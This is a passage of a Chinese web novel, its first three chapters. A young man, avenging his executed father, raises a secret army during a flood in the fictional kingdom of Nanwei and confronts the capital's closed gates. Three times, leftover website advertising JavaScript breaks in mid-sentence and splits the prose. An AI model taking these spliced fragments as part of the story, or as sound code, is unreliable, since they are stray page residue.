《复仇男主竟是白莲花》 1. 广梁水患(一) 万阳十七年,这是南魏与西芥开始商贸往来的第八个年头,位于三国边境的雍州,一如往常的热闹。纷杂的叫卖声混着过路的牲畜留下的腥臭,一队车马松松散散地朝出城的岗哨走去。 “师兄,你说今儿西芥的兵会拦我们吗?” 说话的是一个身着粗布马褂的伙计,看起来估摸着只有十四五岁。他手里牵着被货压得毫无生气的马匹,转头乐呵呵地望着前面比自己高出一个头的商队长。 “最近是恪多的巡防期,就是拦了也能走。怎么?又想贪点过路费?” 少年被师兄调侃,不好意思地绕着头,不再言语。而领头的年轻人撇了少年一眼,也没再说什么,抬眼朝着城门口望去。 年轻人身量高大,多年的马队生意也没掩住他天生就白的皮肤,倒是常年搬货,让他练得很结实,挽起来的袖子露出隐约的青筋。 “你上次的银子又拿去斗蛐蛐了?你不小了,把这趟货送好,回去给你娘把家里的顶修修。最近雨多,那几片碎瓦根本顶不住。” 听了师兄的话,少年微微红了脸,一边点头,一边将手里的缰绳紧了紧,转头招呼后面的队伍跟紧些。别过头的时候,依稀能看到国境线上插着的龙虎旗。 那是北梁昌安营的军旗。 “站住!” 马队行到城门口,门口的哨兵喊停了商队的车马。 今天的岗哨确实换了新面孔,为首的士兵二话不说一把长枪便抵在了年轻人胸前,周围的哨兵也都三三两两围了过来。 “出关文牒或者行商令牌。” 士兵的长枪渐渐往上,最后停在了年轻的咽喉处,刀尖碰到的地方已经渗出了血,而年轻人赔着笑,缓缓躲开面前的长枪,转头冷着眼看向少年。 “平芜,有点眼色!” 名叫平芜的少年应了一声,忙从队伍中间跑过来,学着师兄的模样挂着人畜无害的笑脸,装模作样地在马褡子里翻了半天,最后哭丧个脸望向师兄,“咚”一声就跪到了地上。 “叫你拿个令牌你都能忘,我们从平州过来山高路远的,难不成还要折回去?赔了东家的货,你我下半年喝西北风?” 年轻人俯着身用手指点着平芜的额头,看那些哨兵没反应,又撩起袍子一脚踹在了少年身上。而那少年反应也很快,立刻侧身躺在地上不停叫唤。 “行了,”哨兵叫住了年轻人,“你们是平州过来的?怎么走雍州道?” 说罢,哨兵的手在空中摆了摆,那年轻人自然知道其中意思,忙不迭就从怀里掏出一个腰包,恭敬地递到了哨兵手里。 那腰包不大,但是看着有些分量,哨兵在手里掂了一下,又打开向里面瞅了两眼,随后给后面的人使了使眼色,文簿就停了笔。 “我们是北梁的商行,最近不是岭扬江发了大水嘛,澎州那边的关隘落了锁,我们也是好不容易从平州走了官路才来的雍州。一路上光打点就花了不少银子,要是这临了了没办成事,回去我们也没得干了。” 那年轻人言辞恳切,本来高大的身形如今缩作一团,故意矮了哨兵一头。 “下不为例!但是这流程还是要走的,登记姓名,籍贯,往来货物名录,然后把抽验的货交上来。” 哨兵的话刚落,地上的平芜快速翻起身,抓上一个布袋就朝哨兵出走来,要递的时候还用自己的衣服蹭了蹭袋子上落的灰。 “你小子有前途。” 哨兵嘴上笑着,随意地打开布袋子捻了捻里面的东西,只是他眼神里的蔑视却没逃过年轻人的眼睛。但是年轻人依旧挂着笑,用手压着平芜脊背朝哨兵举了几躬。 “陈京观,平州人,送的是今年新产的黄粱米。” 应付完前面,这个自称陈京观的年轻人就走到了登记的凉棚下,他自报完家门又朝文薄的袖子里塞了颗碎银。 那文簿抬头望了他一眼,却什么也没说,记下信息后抬手示意哨兵没问题,哨兵点了点头就放行了。 “师兄,你怎么还给文薄也给塞银子?你给的还是上次去腾里挖的砂?您那部分还没用完呢?” 平芜出了城就恢复了刚才的神气,拍了拍身上的土追在陈京观屁股后面。而他那两条腿显然跟不上师兄的步子,他便一屁股跳到了粮车上。 “我虽然报的是平州,可是南北官话却有所不同,文薄的耳朵很尖,这点纰漏不能出。至于那些银子,是我先前就从腰包里拿出来的,反正给的都是一波人,多给少给他们也不会对账。” 陈京观的语气很淡,他说着将手里的缰绳递到平芜手里,自己整了整刚才屈身弄皱的外衣。 “这也是我想问的,咱们明明是雍州的商行,为什么说是北梁的?” 平芜年岁小,往年都是他哥哥平海跟着陈京观送西芥的货,今年平芜非要闹着跟陈京观去,他拗不过就带上了。这孩子第一次出雍州城,一路上备了一箩筐问题。 但是陈京观也没烦,他第一次随师父出来也是这般。他回头看最后的伙计已经走出城门一截了,继而一个横跨翻身上马,边走边说。 “八年前南魏和西芥的那一仗以南魏服软宣告结束,而西芥给出的停战条件之一就是南魏打开国门与西芥往来,同时所有南魏的商品要进西芥,要多交十分之一的税,而西芥送到南魏的货,要加五个点的溢价。” 马车上的少年晃悠着腿,靠在粮袋子上望着天,嘴里啧啧个不停。 “西芥还不是看我们好欺负,北梁有昌安营,他们就不敢这么对北梁!” 少年嘟囔着,陈京观没有再应。从出城后他就一直算着,如今走了三百多步。 再往前就能看到父亲了。 陈京观心里想着,但是脚上的步子却依旧向前,他不敢朝着那个方向去。 “对了,师兄您刚说岭扬江大水,那会不会影响广梁?我记得师父说闸口在宛达部,要是他们泄洪,那广梁不就淹了?” “我知道你在想什么,平海和师傅会照顾好江婶的。再说了,广梁是南魏最大的产粮区,萧霖不会傻到淹了全国下半年的口粮。宛达泄洪应该已成定局,就看他何时动作。” 提起萧霖,这位南魏名义上的掌权者,陈京观的语气里难掩那些许不屑。 他说着,目光又不禁朝右偏了偏,没看到自己想要看的,倒是在余光看到平芜揉了揉刚刚被自己踢到的地方。 “疼了?” “没事!” 平芜也才十四岁,还是最喜欢逞强的年纪,虽然肩膀现在肯定青了一块,但总不好在师兄面前丢面子。 陈京观无奈地摇了摇头,从包袱里掏出来一块酥糖饼。 “早晨我叫你起床你不起,我去集上给你买的,还热着呢,吃吧。” 从小被叫作糖虫的平芜自然拒绝不了,他接过酥糖饼哪里还记得疼,一嘴下去吃掉了一大块,脸上还沾着酥油炸,便抬起头想道谢,而自己这位师兄早就又偏过了头。 其实他一早就发现陈京观今日不对劲,好像越靠近雍州城门他走得就越慢。他平日里问话,师兄也总是要先骂上他两句再回应,可今日的陈京观心里藏着事。 “师兄,刚刚那是什么?好像……还有骸骨。” 平芜顺着陈京观的目光处望,远处似是一块城墩子,可又不如往常所见。 而他的话刚问完,陈京观手里的鞭子就握紧,他没有回头,还是继续向前走。 “那个叫京观,西芥人纪念军功用的,他们会将仇敌的头颅筑作高墙。” 只是短短几个字,可是说完陈京观却发现自己的喉咙已经几近无声,一股血腥味翻涌了上来,止住了他的呼吸。 “啊?是师兄名字里的那两个字吗?” “嗯。” 见陈京观有些心不在焉,平芜也识趣地没有再问什么,专心致志吃起手里的酥糖饼。 可陈京观却因为平芜的一句话,又忍不住回头看了看。 那上面的形状又变了。 西芥的风沙如同西芥士兵手里的长刀,那京观便随着春去秋来被抹去了最初的形状。 什么时候才能带他回家。 “师兄,好像要变天了。” “嗯,雨落下来了。” 这场比往年更早的春雨一连下了九日,最开始人们为今年或许能有个好收成而雀跃,可后来那片笼在广梁人头上的云始终没有消散。而岭扬江的源头也因为这九日的雨,水位突然上涨,甚至漫过了木尔斯草原。 西芥的宛达部地处岭扬江中下游,首当其冲地迎接洪水的冲击,那滔天巨浪一部分汇到了了北梁镜湖,另一部分,便淹掉了宛达部的春牧场。 二十日后,与陈京观共同回到雍州城的,还有一泻千里的洪水。 “宛达那孙子还是泄洪了!他们明知道广梁是平原根本蓄不了水!” 陈京观他们到达雍州时已是半夜,可是刚经过了洪水洗礼的村庄没有人敢入梦。家住在半山的人有幸躲过一劫,而最下游的人多半都随着洪水飘到了不知名的地方。 现在但凡家里还有灯的都点着,就为了给活着的人留个念想,那点点煤油灯与天上的星星汇成一片。 而刚放下包袱的平芜连衣服都还没来得及换,手里抓着母亲递过来的布在头上抹了两下,就准备叫了商队的伙计去雍州和盛州的交界救人。 “你等等。” 陈京观叫住了平芜,冲他摇了摇头。平芜本来执意要去,见陈京观渐渐冷了脸,嘴里骂了一句,转头坐在了榻上。 “十日前就有人说宛达泄洪了,那时候要是早做些准备,也不至于淹到盛州,雍州地势还稍高些,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盛州完全就是平地,阙州那些达官显贵也真不怕一路淹到他脚下!” 陈京观没搭话,他听着外面的雨声,抬头看了看头顶的瓦房,就连商队的房子都有了漏雨的迹象。 “可你现在去,有用吗?” “能救一个是一个!那都是从小看着我长大的人!” 平芜年纪还小,眼睛里的泪早从进屋时就蓄满了,如今陈京观的话一出,那眼泪便夺眶而出,他朝着陈京观咆哮,可是他知道陈京观说得没错。 “我与师父要议事,接下来的事情你就别管了。去看看你母亲。” 陈京观望着红了眼的平芜,手渐渐握成了拳头。平芜悄悄擦着泪,透过手背望着师兄,见陈京观不再言语,便只好起身行礼后去了偏房。 处在南北交界的雍州,四月其实还是晚冬的模样。外面的树还没有抽条,下了雨之后更是把不多见的几朵小花也打在了土里,映着远处的几座不成样的草屋,更显出一片破败的样子。 虽说广梁今年第一茬黄粱米已经收完了,但是家家户户基本都还盼着太阳,还没开始晒,更少有人卖出价格。 如今这一场春雨,那囤米没被冲走的已是少数,剩下的发霉的发霉,生虫的生虫,基本上浇灭了广梁接下来半年的所有收成。 正堂里的宁渡坐在八仙桌旁,他前两天从雍州交界接了几个盛州官家搬家的活,现在也刚忙完,手里一边拿着馒头啃,一边翻着陈京观刚带来的账簿。 “师父,”陈京观叫了一声,给宁渡倒了一碗茶,“这册子都能对上吧。” 宁渡“嗯”了一声,接过陈京观的茶,顺了顺嘴里的吃食,合上了账册。 “你不光想说这个吧。” 陈京观身体一滞,微微点头,坐到了宁渡对面。 “这场天灾人祸,广梁就这么受着?我们就这么等着?” 宁渡没有说话,半晌了才起身。偏房里灯亮了,江秀抱着两个儿子失声大哭。 他们的房子虽然破,可那是她与亡夫半辈子的积蓄,那是她的婚房。 “不受着能怎么办,那崇明殿里坐着的人,从来只关心自己心里的阴谋算计。况且南魏除了广梁还有遥景,虽然遥景的大头在北梁手里,可单供阙州的吃食,还是足够的。” 宁渡的话陈京观自然都清楚,他现在只觉得嘲讽。 那高位上坐着的哪里是百姓的天子,分明是是百姓的蠹虫。 “那盛州已经河水倒灌两日,今夜又是一夜的雨,他们撑不了多久了。”陈京观说完顿了顿,心里还抱着一丝幻想,“阙州,当真没有一点消息?” 其实这个问题他和宁渡都清楚,可是他还是想问一问,他还是觉得人不该冷酷到这种程度。可回报给他的,只有宁渡的一声冷笑,以及递过来的一张收条。 “你以为这时候谁还能出得起这么高的价,”陈京观望着那收条上的落款,宁渡继续说道:“只有盛州的知州和最大的盐商啊。” 盛州,已经是被南魏皇室放弃的城了。 昌用商行门口的车马还在往那两座新起的院子里送东西,里面的人热热闹闹的准备吃晚饭,门口的小孩吵嚷着让母亲再给买一份盛州特产的黄米凉糕。 不知道明日会不会有恭贺乔迁之喜的人上门。 “只有盛州抵住洪水,才能确保洪水淹不到阙州。他们又在拿别人的性命,筑自己的高塔。” 陈京观手里攥着那个收条。十万两外加一座城,买了他们两家的命。 “师父,我去救。” 宁渡转过身,看着一直低着头的陈京观,眼睛与其说是诧异,更多的倒是心疼。 他好像又看到了八年前救他的时候,那时的少年也低着头,连带着周围的空气都降了几度,他一直闷着,可抬头的时候目光比谁都炽热。 “你此去西芥,又去看了?” 陈京观没回答。瓦缝的雨水一滴一滴落在八仙桌上,有溅起的水珠湿了他的衣角,也有忽而落下的水珠砸在他的发梢,可他就紧紧盯着那张银票。 “那是你为了报仇筹划了这么多年的准备,你确定,要用在现在吗?” “这世上没有什么事存在完全的胜算,可我今夜去救的人命,都是实打实的。” 陈京观的话掷地有声,他再抬起头时正对着宁渡的目光,宁渡知道,陈京观已经下定决心,便也不再说话。 “况且我与他都等不起了。这一场水患,或许也是天在催我。” 明日,是陈京观父亲陈频的祭日。 这八年间无数个远远地一瞥,早就把那根刺一次次拔出又插入,一次次鲜血淋漓。 风霜带走了京观原本的模样,留下的只有日益模糊的记忆和愈加坚定的决心。 “我要推倒那面墙,我要让他回家。” 2. 广梁水患(二) 翌日清晨,一夜的雨之后云层不再如前几日般压抑,可是依旧不见太阳的踪迹。 天刚泛青,雍州城边一队车马从昌用商行出发。同时,一支部队自平州、凌州跨过了敬安山。 其实早在半年前,昌安营的军户造册上就陆陆续续有人被除名。但因为来办的人是陆家小爷陆栖野手下的桑柘,而且那些人多是退伍失孤的鳏夫,主管的人也便没有多问。 时至今日,当这一万人出现在雍州边界时,陈京观多年的谋划才见了雏形。 “少将军,平远军所有将士共一万零七十三人,现已全部归队,听您调遣。” 队伍打头的男子似是这支队伍的将领,鬓角处已尽染霜白。他见到陈京观便立刻下马行礼,将手上的雨水擦了擦,从怀里拿出一份信递给陈京观。 “这是陆小爷给您的信。” 陈京观闻言拍了拍眼前人的肩,道了一句“辛苦”,然后伸手接过那封信。 信上只有寥寥数笔,可落笔处却尽显苍劲。 “从此,北梁再无这些人的姓名。” 虽说这一切是自己一力促成的,可真当这些人的姓名压到自己肩上时,陈京观才切实感觉到了责任。 这一仗,他已经不能退了。 “虽说我事前便与各位言明了我的初衷,可时至今日,各位依旧还是自由的。想要走的,我会让栖野还给你们户籍,至少,你们在北梁还有一口饭吃。但如果留下了,今后,你们只有一个名字,平远军,你们不属于任何一个君主,你们只属于你们自己。” 陈京观此话一出,原本连夜行军有些疲惫的兵士都扬起了头,目光如炬般盯着说话的人。为首的将领偏过头看着陈京观,说起来,他儿子若没上战场,也应当和陈京观一般大。 “我们是北梁的军户,天生只有打仗这一个选择,我们的后代,也只能战战兢兢等着军队的号召。陆将军是好人,可能打破军户的,北梁建朝以来,也只有他一人。如今,您和陆小爷给了我们一个机会,我们也只是去打一场我们已经打过很多次的仗,可只有这场仗,我们有真正的自由。” 那人的话一出,旁边的兵士也都齐声附和,依稀间,陈京观能听到他们压抑在喉咙里的哽咽。 北梁是军事起家,故而预备役人员是国家的第一资源。 北梁开国皇帝打下北梁七城后,将在籍士兵全部入了军户,一代为兵,时代为兵。军户家的儿子,到了一定年岁便要入营,就连军户家的女儿,也只有嫁于士兵和自己入伍两种选择。 最初的军户制解决了北梁开国局势不稳的局面,让许多为北梁卖过命的人有了口饭吃,但随着北梁的发展,军户制就成了对这些人最大的限制。 他们的孩子生下来,就只有成为战争机器的命。他们的存在,更像是这个军事国家大肆侵略后的印迹。 而将领口中的陆将军,是与北梁如今的掌权人元衡一起谋划八年前吞并东亭之战的陆晁,出身军户,但官路亨通。如今自己是北梁的昭武将军,长子可承袭爵位,次子也可自行择业。 但自北梁实行军户制以来,只有陆晁用一身的伤和累累军功换了自由。 “好。”半晌,陈京观缓缓开口,“承蒙各位信任,平远军今日成军,来日,各位都是功勋!” 他说话间用眼睛扫过每一个人,这眼前的,陈京观每一个都能叫得出名字,他们的过往,陈京观全都知道。 “时候不早了,各位准备动身吧。” 陈京观抬手示意,等部队动起来便拉住了自己身边的将领,将自己的平远军令给到了他手里。那人本想要推脱,却被陈京观压了下来。 “董叔,这军令只有您能受得。” 被叫做董叔的将领原名董辉,他定定地望着手上的令牌,慢慢拳住了手心。 “您放心,我们怎么出去的,我们怎么回来。” 陈京观听得出董辉语气里的决绝,而他微微挂起笑,望着从自己身边走过的兵士。 “咱们今日,不是去打仗,而是去救灾。” 董辉愣了一下,有些不明所以。 “岭扬江洪水,南魏皇室见死不救,如今河水倒灌已经淹了半座盛州城。我知道我最初与你们说的,是我要去阙州讨一个说法。可如今,我想先救救曾经于我有恩的乡亲。咱们手里的刀,杀得了仇敌,也当得了英雄。” 陈京观说这话时,董辉看到了与往日不同的人,不过这倒印上了他对他的第一印象。 这孩子,至纯至善。 “您是少将军,我们只管听命。” 董辉语毕,朝着陈京观深深举了一躬,然后翻身上马走到了队伍前头,将军令传到了各个分阵。 至此,平远军自雍州起势。 之后半个月,陈京观与董辉各领一队人马,分别从廊州道和雍州道走,沿路将马车上的粮食分给灾民,帮着各地自发形成的救援队伍抢救还活着的百姓。后来他们的装备不够了,就徒手在泥浆里挖。 虽未打仗,可也是满手鲜血。 等着雍州和廊州的灾情基本控制住了,他们便动身去了广梁最南部的盛州。 盛州的受灾情况比预想的还严重。 因为地处广梁平原南部,而广梁本就由岭扬江冲积形成,故岭扬大水裹挟着广梁的土一起汇进了盛州;盛州的盆地结构,几乎承受了所有泥沙的袭击,有很多不甚坚固的瓦房都被毁于一旦,更莫说临近村野的草屋。 盛州知州在接到宛达要泄洪的消息后就开始着手搬家,但是为了防止乡民暴乱,全然隐瞒了这一消息。 盛州北部的人还可以及时撤往廊州和雍州,盛州南部的人却因没有官令无法进入阙州,致使洪水发生倒灌的时候盛州的几个小村落几乎无人生还。 “少将军,那几个南部的村庄还去吗?” 董辉跑到了陈京观旁边,他的盔甲还是北梁旧时所用,原本墨蓝色的里衬已经让汗水和泥水浸成了黑色。他刚给几个有些失温的小孩灌了些姜汤,吩咐手底下的人继续去搜幸存者。 “南部……去吧,咱们去看看阙州城。” 平远军在盛州中部待了五日,帮助盛州南部还幸存的百姓撤离到了雍州,然后派了一部分人折返回盛州上游加固大坝,疏通了广梁河道,并且开始着手帮助百姓建屋立舍。 只是从平远军起势至今,阙州没有半点动作。 陈京观自己带着一千人马,从盛州的边界往阙州去,路上越往南,房屋损毁就越严重。 有时还能看见挂在树上的婴孩,应该是父母为了让他等待援助挂的,只是他们没想到这个援助迟迟未到,而婴孩就在滔滔洪水中饿死了。 “到了。” 陈京观挥手,董辉便停下了行军。 眼前,是阙州城城门。 那门纵使今日来看也依旧是恢弘无比,两侧的雕龙样式依照的是崇明殿前的纹样,主体的棕红色保留了原木的痕迹,却更显出用料的奢华。 这门当时花费万两修建,从盛州和廊州招募万民工匠,由工部尚书周原任亲自督造。可这门一修好,便开始实行官令制。 除持有官令者,不可入阙州。 昔日的阙州城门总是敞着,外面的人能隐约听到阙州南市的热闹,门口的守卫两个时辰一班岗,整日不停的巡防。 阙州繁盛,自然也就有不少想要将自己的货送进去的商人,他们驾着马车在城门口周旋许久,最后多半是货进去了,人却留在了外面。 如今的阙州城门,十丈高的墙里嵌着紧闭的大门,城墙上的南魏战旗屹立不倒,越是靠近,越能看到更多的骸骨,有些甚至已经被洪水冲的面目全非。 而在离城门不足百米处,死者,多是背部中箭。 “他们跑过了洪水,却死在了皇城脚下。” 董辉望着说话的陈京观,连夜的奔波让少年人也多了一丝憔悴,可刚刚的话,字字有力。 “替他们入殓。” 话音刚落,不远处的草丛便晃了晃,紧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接着就是一个灰色的身影努力朝平远军的方向爬,陈京观没有看清那是什么,便想要上前。 “少将军小心。” 董辉想要伸手阻拦陈京观,但后者摇了摇头,起身下马,扶着刀一步步走过去,就当他要接近草丛时,城门打开了。 “谁在哪!报上姓名,有无官令?” 一个身着鲜艳盔甲的兵士扶着刀走出来,身后还跟着巡卫。 “陈京观,没有官令,也不打算进阙州。” 陈京观没有停下脚步,他继续向草丛边走,隐约觉得那是一个和平芜差不多大的孩子。 可他还没来得及动作,前面的士兵便快步上来将刀架在了陈京观脖子上。 “没有官令不得靠近阙州城!否则格杀勿论!” 士兵的动作激怒了本就忿忿的平远军,后面的将士纷纷下马,将守城的士兵围在中间。虽说他们只有一千人,可这一千人,刀上都曾沾过血。 “我今日不进阙州,是等着他来日请我进去。”说着,陈京观头上了眼前人的目光,“我与你无冤无仇,我也不想让你为难,我今天只带走这个孩子。” 说完,陈京观推开了脖子上的刀,可守城的将士依旧挡在他面前。 “若不想让我们为难,你便不可再向前一步。” 陈京观看着还在努力朝自己爬的身影,手里的刀握得更紧了。 “她在那里三日了,父母都死在我们箭下,可我们也是奉命行事。”说到这,守城的士兵顿了一下,陈京观听到了他喉咙里的酸涩,“我们给她扔过馒头,但是她不走,就一直趴在那。” 陈京观深吸一口气,看了眼眼前守城的将士,他看起来应该是新到任的小孩,不过十五六岁的样子。 南魏与北梁不同,实行的是征兵制,而在如今萧家王朝的统治下还愿意入伍的,多半是家中没人脉,或者还有些少年热血的穷人小孩。 “她若能爬到这,我们便放她和你走。” 守城的士兵也不再拿刀抵着陈京观,几个人退了一步,将陈京观面前的路让了出来。 那个身影从草丛里爬了出来,她爬过的地方或深或浅都留着一条血印。 “她爬不过来。” 董辉看到这样小的孩子,很难不想到自己的儿女,作势就要上前去抢人,但陈京观伸手扯了扯他的腰带。 “她在这里三日都不走,一定有她的原因,刚刚我们入殓的,怕就有她父母。她哪怕是死,也会撑着一口气过来的。” 平远军的将士多是失去过亲人的,听了陈京观的话,也便不做声了。 此时的日头突然出现,照在土地上将湿润的泥土和空气里的血腥气混作一谈,那女孩就一点点挪,在离陈京观还有几步的时候停了下来,她虽然还想爬,可奈何身上痛得厉害。 守城的士兵见对方没有进一步行动,便试探性地往后又退了几步。 “多谢。” 陈京观看出了他的意思,轻轻向他弯了弯身子,快步上前把女孩抱在了怀里。 那女孩穿着单衣,贴着陈京观手臂的位置显出了异常的温度,看其身量不算小孩子了,可抱在怀里便知道应该是饿了许久。 陈京观将女孩放到了粮车上,又解下自己的披风盖在女孩身上,招手示意几个随军女兵照顾她,然后转身回到守卫面前。 “告诉他,我叫陈京观,他若不请我入阙州,他便永失广梁三城。” 守城的小孩不知该作何回应,与周身的人面面相觑,思量下只好先回到城中报告长官。 陈京观看着那几个背影,他们的盔甲改了当时父亲所穿的制式,镶嵌了些华而不实的宝石,将更符合南魏人身型的短柄剑改为了昌安营的长柄刀,更显得不伦不类。 “少将军,咱现在回去吗?” 陈京观起身上马,看了看胸前女孩身上留下的血,然后定睛那大笔一挥写下的“阙州”二字,眼神里透露出一丝狠厉。 “嗯,等着他请我入朝。” 3. 广梁水患(三) 自阙州回来后,陈京观便往来奔波于平日交好的几个叔叔伯伯处。 大家同是广梁的人,遇到这事也都没法袖手旁观的道理,于是纷纷拿出自己的积蓄,采买了不少吃食和日常用具送过来。 而陈京观就顺势在昌用门前搭了个简易粥铺,将空了几个小粮仓改成了暂时的安置处。 现如今的昌用商行,恐怕是广梁最热闹的地方。 “师兄,锅里的米汤盛完了,库里的粮还能再撑小半个月。” 平海和江婶在门前的粥铺忙里忙外,平芜就每日和陈京观汇报灾民安置的情况。 “我试试去北梁买粮。” 虽说有大家的帮忙,可广梁没粮也是现状。陈京观应着平芜的话,转身回屋拿出了自己这七八年的积蓄,打算让商行的掌柜们算算,同时盘算着如何和师父开口再预支些银子。 “师兄,合着你这么多年的砂都没用过啊。” 平芜看着陈京观装金砂的盒子,大概打量了一下,算是这些年去腾里拿到的所有家当了。 “本来当时是想着去北梁招兵买马用,结果结识了董大哥,他又帮忙牵线搭桥认识了现在的兄弟们,后来,”陈京观顿了一下,“陆栖野也忙了不少忙。我这些钱就存到现在了。” 平芜虽小,可是往日里也能看出自己这个师兄在筹谋一件大事,如今望着门口的军队和堆在桌上的金砂,他心里满是佩服。 “再等些时日,会有粮送进来的,估摸着能撑到秋收。” 陈京观闻声抬起头,只见宁渡从门口进来,身后还跟着一个女孩。 “那个就是陈京观。” 话音刚落,那女孩就跪在了地上,一个劲儿的给陈京观磕头。 女孩身上的衣服还是初次见面的那一身,所以陈京观一眼就认出了她。如今经过多日的修养她脸上有了血色,只是看起来还是很虚弱。 “你先起来。” 陈京观哪受过这样的礼,作势跑过去要将女孩扶起来。 女孩看清了眼前的人,便想用手擦擦脸上的泪,可她手上还沾着刚刚地上的泥,现在一股脑全弄到了脸上。 陈京观倒是能忍住,可一旁的平芜开始指着女孩笑起来。 “师兄你看她,活像只狸花猫。” 平芜这话一出,陈京观和宁渡也陪着笑。这下女孩是不紧张了,倒是局促起来。两个脸蛋本来就有些冻伤,现在更红了,她连忙想拿衣袖擦,可是浑身上下竟找不到一块干净的布了。 “你叫什么名字?” 陈京观问完,朝平芜屁股上踢了一脚,平芜倒也机灵,连忙跑到自己房里拿了套新衣服。 但是女孩一直没回答,就站在陈京观面前,一直低着头。 “给你,这是我娘过年的时候新给我做的,我还没舍得穿呢,先给你吧。” 许是平芜刚刚嘲笑过自己,女孩竟也硬着骨气半天没动。 “真的是新的。” 平芜也有些委屈了,拿着衣服就往女孩怀里塞,两个人就僵持在了原地。 “拿着吧,他若想要,我再去布坊给他买。“ 女孩听了陈京观的话,才举了一躬收下了衣服。 “你不急的话,先去侧院换吧,那是江婶的屋子,就那个在外面发粥的女子。我与我师父先说两句话,等下你换好,再来找我。” 陈京观弯着眉眼看着眼前的女孩,他看得出女孩的难堪,于是招手唤一进来一个在商行帮忙的阿婆,还安排她给女孩接了洗澡水。 女孩临走,虽低着头,但还是说了一句“谢谢”。 “师父您说过几日会有粮送来?” 陈京观看了眼女孩离开的背影,轻轻叹了口气,示意平芜关上了门。 “嗯,东家递的消息,约莫三五日吧。” 昌用商行明面上是宁渡管事,但是实际的东家却不是他,那个东家宁渡也没见过。 当时宁渡还是一个马队队长,有日回家路上去酒庐买酒,有个人就找上了他,问他愿不愿意做商行的掌柜。他一想自己有马队,若再有一个商行,倒也是稳定了,便应下了。 但是他从来没有见过真正管事的人,给他传话的也一直是一个半大小子。 “那现有的先紧着老人和妇孺,有些力气的就安排他们回去重新拾掇地里的活。” 宁渡点了点头,默认了陈京观的话。陈京观见宁渡欲言又止,索性自己先开腔。 “师父是想问我此番顺利吗?” 宁渡摇摇头。 门口的人来来往往的,也多有夸赞陈京观的声音,现在的广梁三城都通晓了神兵天降的平远军,人人也都想瞻仰久闻大名的陈少将军。 “事情办得很好,自然是顺利的。可是这件事情办的好,那你真正的谋划呢?” 陈京观没有做声,半晌,才慢慢开口。 “师父以为我招兵买马,是为了一举拿下阙州,问鼎南魏?” 宁渡没有否认,陈京观便继续说。 “我从来没想过要用踏平阙州,以血流成河的方式为父亲报仇。杀死父亲的,是空居高堂的萧霖,是口蜜腹剑的蒋铎,更是杀人如麻的遏佐,不是那阙州城的百姓。师父,”陈京观笑了一下,“你觉得天下的百姓在乎谁是君王吗?” 宁渡示意陈京观继续说下去。 “百姓不问天子。他们要的是吃饱穿暖,他们这辈子也见不到高堂上的人,可若高堂上的一呼一吸,都要让他们承受,那我与萧霖又有何不同?” 这些,是父亲曾教导陈京观的话,他一刻也不敢忘。 “前日我跑到阙州城,其实只须挥剑直逼宫门即可,可是我即便杀死了那些人,父亲的罪责难道就能洗清吗?我要的,是天下人都知道陈频无罪。” 提到父亲的名字,陈京观便抑不住那喉头的呜咽了,但是他依旧忍着,即使宁渡都看出了他眼眶里的泪。 “那日守城的小孩,我不知为何,这么些日子总忘不掉他。或许他入伍是为家里少一张嘴吃饭,又或者是为了尽力混出些名堂让家里人好过,他们手上已经沾了血。可他们,都不该死啊。” 陈京观的话掷地有声,宁渡知道自己买来的这个小徒弟心思深,可这许多年他很少与自己这般推心置腹地说他心里的所思所想。 “若不兵戎相见,那你要如何?” 宁渡看着眼前的人,回想起了初次看到陈京观的样子。 一个十二岁的少年,明明还在四月,却穿着单衣走在雍州城外。 那各个拿着长枪的西芥兵,都是善战的样子,可他还是冲上去了,就赤着脚往京观的方向跑。 宁渡那时候觉得这孩子疯了,可又觉得他可怜。后来才知道,那京观最上一层的,是他的父亲,陈频。 修那座京观的时候,他刚好接了一单出城的生意。他刚迈出城门,便看到遏佐用长绳牵着一队南魏人模样的俘虏。他们停在雍州城外,宁渡不敢靠近,就远远望着。 遏佐是西芥第二大部族的首领,他掌管西芥的贸易,所以宁渡见过几次,可是他只一眼就觉得这个人嗜血成性。 还没等宁渡反应过来,就看到那一长串的人俯首跪在了地上,为首的人头朝着雍州的方向,虽跪着,但是仍不肯低头。 片刻后,遏佐转身和为首的人交谈些什么,又或者是在嘲笑他,但那人面不改色,就立在寒风里。久而久之,他许是恼了,快刀下去,便是一人头颅落地。 其他人都被吓住了,东倒西歪地瘫在地上,但为首的那个,依旧把脊背挺得很直。 宁渡越看那人好像越觉得眼熟,突然忆起两年前与西芥打仗时,他是朝廷派来的参谋,虽是参谋,却基本负责了所有事宜,当时他在街上招兵时宁渡留意过他。 那是个读过书的,但是骨头不软。 后来,就是遏佐的游戏,他每朝陈频吐一口唾沫,就砍下一个人的头颅,直到最后,那些人都没了命。 那时的陈频弯了腰,可是只是朝雍州的方向叩了三个头,然后被斩于遏佐的刀下。 就当宁渡以为一切结束时,遏佐找来了一队工匠,最开始工匠不敢接那个头颅,他便也留下了自己的头颅。 后来人们害怕了,也就不怕了。 当宁渡送完货再回来的时候,那个地方就留下了一座京观。 后来宁渡给陈京观讲的时候,省略了他父亲临死都没闭上的双眼。 “我要让他请我回去,让我亲手把父亲的头颅葬在我陈家的墓园里,” 宁渡回过神,只听到陈京观语气平淡的说道。 “如今名义上,我是救了广梁水患的英雄,可实际上,雍州、盛州两城因为知州逃了,早就没人管了,此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时我起势,顺势就收了这两座府衙。至于廊州,早在水患之前,我的人就已经入主。广梁三城,兵不血刃。” 陈京观抬眸,刚好对上了宁渡的视线。 宁渡在人牙子那里买下他的时候,他就是这样的眼神,宁渡不知道是否从那时开始,陈京观的心里就在为今天的一切做准备。 “是南魏皇帝自己不要广梁的,而他想要遥景,要问问北梁同不同意。若遥州乱起来,景州还能太平吗?” 门口的侍卫敲了敲门,陈京观让他将情报直接送进来,信上说,遥州匪患四起,连带着烧了景州的粮仓。 “你怎知萧霖不会派兵?” 闻言,陈京观轻笑道。 “派兵?他哪儿还有兵。当日父亲乘着军功回朝却被他降罪,他那封诏书,寒了多少人的心。说实话,以南魏现在的兵力,那阙州,我的确是唾手可得。” 陈京观所言,宁渡也都清楚。那早已成空穴的崇明殿,彰显得是王朝的倾颓之势。 